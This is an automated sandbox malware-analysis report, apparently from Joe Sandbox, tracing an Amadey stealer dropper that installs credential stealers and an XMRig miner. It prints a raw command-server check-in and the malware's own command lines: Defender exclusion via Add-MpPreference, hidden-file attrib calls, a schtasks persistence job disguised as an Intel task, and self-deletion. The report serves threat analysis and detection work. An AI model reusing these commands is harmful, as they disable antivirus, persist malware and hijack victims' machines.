2024-12-18 20:30:56 UTC	85	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 43 56 6d 72 30 74 2d 2d 69 6e 73 74 61 6c 6c 73 26 6a 3d 26 68 77 69 64 3d 41 36 30 31 38 46 39 42 34 41 39 32 33 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=CVmr0t--installs&j=&hwid=A6018F9B4A923655AC8923850305D13E
2024-12-18 20:31:00 UTC	1040	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 20:31:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7ii72v2oajevruss79c1b761od; expires=Sun, 13-Apr-2025 14:17:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A0xnrsXd8vFqsfbFjtPSUUPCtA5wbVrhz4z7vpH%2BP%2FEpPDD7GTzIq%2FivG2ays8GTAXbXpRsToqkuRAT8dFshvuo2e6zxkfhJSz2J2%2Ff2uNMvigKwejAXUC8fHes89UO5PQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f41e9e3aa834372-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5364&min_rtt=1776&rtt_var=2974&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2833&recv_bytes=983&delivery_rate=1644144&cwnd=242&unsent_bytes=0&cid=e19fa8f55c16bf6e&ts=4174&x=0"
2024-12-18 20:31:00 UTC	54	IN	Data Raw: 33 30 0d 0a 7a 38 68 6b 32 72 36 44 51 78 52 2f 6f 6b 5a 57 6e 43 5a 37 6e 2b 66 75 37 6c 62 69 49 46 6a 6d 56 38 45 75 70 6b 6c 64 46 2f 71 55 6c 51 3d 3d 0d 0a Data Ascii: 30z8hk2r6DQxR/okZWnCZ7n+fu7lbiIFjmV8EupkldF/qUlQ==
2024-12-18 20:31:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	15:29:10
Start date:	18/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x2c0000
File size:	3'061'248 bytes
MD5 hash:	F04E6F4A98B27FCCB18CDDE586A3E946
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2139414972.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.2099181811.00000000048C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:29:14
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x170000
File size:	3'061'248 bytes
MD5 hash:	F04E6F4A98B27FCCB18CDDE586A3E946
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.2133308721.0000000004830000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.2173468977.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:30:00
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x170000
File size:	3'061'248 bytes
MD5 hash:	F04E6F4A98B27FCCB18CDDE586A3E946
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000003.2584865149.0000000004F00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	15:30:10
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe"
Imagebase:	0x630000
File size:	21'504 bytes
MD5 hash:	14BECDF1E2402E9AA6C2BE0E6167041E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 11%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:30:10
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:30:12
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell.exe" Add-MpPreference -ExclusionPath "C:\gomtbo"
Imagebase:	0xec0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	15:30:12
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	15:30:16
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Imagebase:	0xec0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	15:30:16
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	15:30:18
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe"
Imagebase:	0x480000
File size:	1'885'696 bytes
MD5 hash:	25FB9C54265BBACC7A055174479F0B70
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.2936105757.0000000000E32000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	15:30:28
Start date:	18/12/2024
Path:	C:\gomtbo\01b80870ed45442fb720b666633425f9.exe
Wow64 process (32bit):	true
Commandline:	"C:\gomtbo\01b80870ed45442fb720b666633425f9.exe"
Imagebase:	0xf80000
File size:	1'275'904 bytes
MD5 hash:	577CD52217DA6D7163CEA46BB01C107F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.3031777892.0000000000911000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.3054152585.00000000008BF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.3031777892.00000000008BF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.3033029849.00000000008BF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	15:30:31
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe"
Imagebase:	0x400000
File size:	4'438'776 bytes
MD5 hash:	3A425626CBD40345F5B8DDDD6B2B9EFA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 88%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	15:30:35
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Imagebase:	0x7ff69e780000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	15:30:35
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	15:30:35
Start date:	18/12/2024
Path:	C:\Windows\System32\mode.com
Wow64 process (32bit):	false
Commandline:	mode 65,10
Imagebase:	0x7ff745e20000
File size:	33'280 bytes
MD5 hash:	BEA7464830980BF7C0490307DB4FC875
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	15:30:35
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Imagebase:	0xde0000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	15:30:36
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_7.zip -oextracted
Imagebase:	0xde0000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	15:30:36
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_6.zip -oextracted
Imagebase:	0xde0000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	15:30:37
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_5.zip -oextracted
Imagebase:	0xde0000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	15:30:37
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_4.zip -oextracted
Imagebase:	0xde0000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	15:30:37
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_3.zip -oextracted
Imagebase:	0xde0000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	15:30:37
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_2.zip -oextracted
Imagebase:	0xde0000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	15:30:38
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_1.zip -oextracted
Imagebase:	0xde0000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	15:30:38
Start date:	18/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H "in.exe"
Imagebase:	0x7ff724760000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	15:30:38
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\in.exe
Wow64 process (32bit):	false
Commandline:	"in.exe"
Imagebase:	0x7ff7ef170000
File size:	1'827'328 bytes
MD5 hash:	83D75087C9BF6E4F07C36E550731CCDE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	15:30:38
Start date:	18/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff724760000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	15:30:39
Start date:	18/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff724760000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	15:30:39
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	15:30:39
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	15:30:39
Start date:	18/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Imagebase:	0x7ff6e6110000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	15:30:39
Start date:	18/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell ping 127.0.0.1; del in.exe
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	15:30:39
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	15:30:39
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	15:30:41
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff762280000
File size:	1'827'328 bytes
MD5 hash:	83D75087C9BF6E4F07C36E550731CCDE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000025.00000003.2984138582.000001D52EF30000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MAL_XMR_Miner_May19_1, Description: Detects Monero Crypto Coin Miner, Source: 00000025.00000003.2984138582.000001D52EF30000.00000004.00000001.00020000.00000000.sdmp, Author: Florian Roth Rule: MALWARE_Win_CoinMiner02, Description: Detects coinmining malware, Source: 00000025.00000003.2984138582.000001D52EF30000.00000004.00000001.00020000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 67%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	15:30:41
Start date:	18/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	explorer.exe
Imagebase:	0x7ff674740000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000026.00000002.2989752877.0000000001165000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000026.00000002.2989752877.000000000114B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000026.00000002.2989752877.0000000001127000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000026.00000002.2991806945.000000014040B000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000026.00000002.2990997382.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	15:30:41
Start date:	18/12/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 127.0.0.1
Imagebase:	0x7ff68b780000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	15:30:41
Start date:	18/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	15:30:41
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	15:30:42
Start date:	18/12/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 127.1.10.1
Imagebase:	0x7ff68b780000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	15:30:50
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe"
Imagebase:	0x400000
File size:	6'450'901 bytes
MD5 hash:	7EC59BA110BB9588CA11FD5EFF41A0CB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	15:30:51
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe TRUE 111 0
Imagebase:	0x590000
File size:	2'289'024 bytes
MD5 hash:	A27781BEEC02A26DE306AAE4F1A07ECA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: INDICATOR_EXE_Packed_SilentInstallBuilder, Description: Detects executables packed with Silent Install Builder, Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe, Author: ditekSHen
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	15:30:51
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	15:30:51
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\FutureApp\sibjs.exe" TRUE 000 False cond_pkg
Imagebase:	0xd90000
File size:	2'163'584 bytes
MD5 hash:	CB98AAB3F8A161D55D04086FFCAFBBBD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	15:30:58
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe"
Imagebase:	0xb50000
File size:	1'880'576 bytes
MD5 hash:	FF279F4E5B1C6FBDA804D2437C2DBDC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 53%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	15:31:01
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff762280000
File size:	1'827'328 bytes
MD5 hash:	83D75087C9BF6E4F07C36E550731CCDE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000030.00000003.3184765854.00000206F2C30000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MAL_XMR_Miner_May19_1, Description: Detects Monero Crypto Coin Miner, Source: 00000030.00000003.3184765854.00000206F2C30000.00000004.00000001.00020000.00000000.sdmp, Author: Florian Roth Rule: MALWARE_Win_CoinMiner02, Description: Detects coinmining malware, Source: 00000030.00000003.3184765854.00000206F2C30000.00000004.00000001.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	15:31:01
Start date:	18/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	explorer.exe
Imagebase:	0x7ff674740000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000031.00000002.3191260384.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000031.00000002.3191376969.000000014040B000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000031.00000002.3190515913.0000000000B16000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000031.00000002.3190515913.0000000000B55000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000031.00000002.3190515913.0000000000B2E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000031.00000003.3186134550.0000000000B3E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	15:31:01
Start date:	18/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
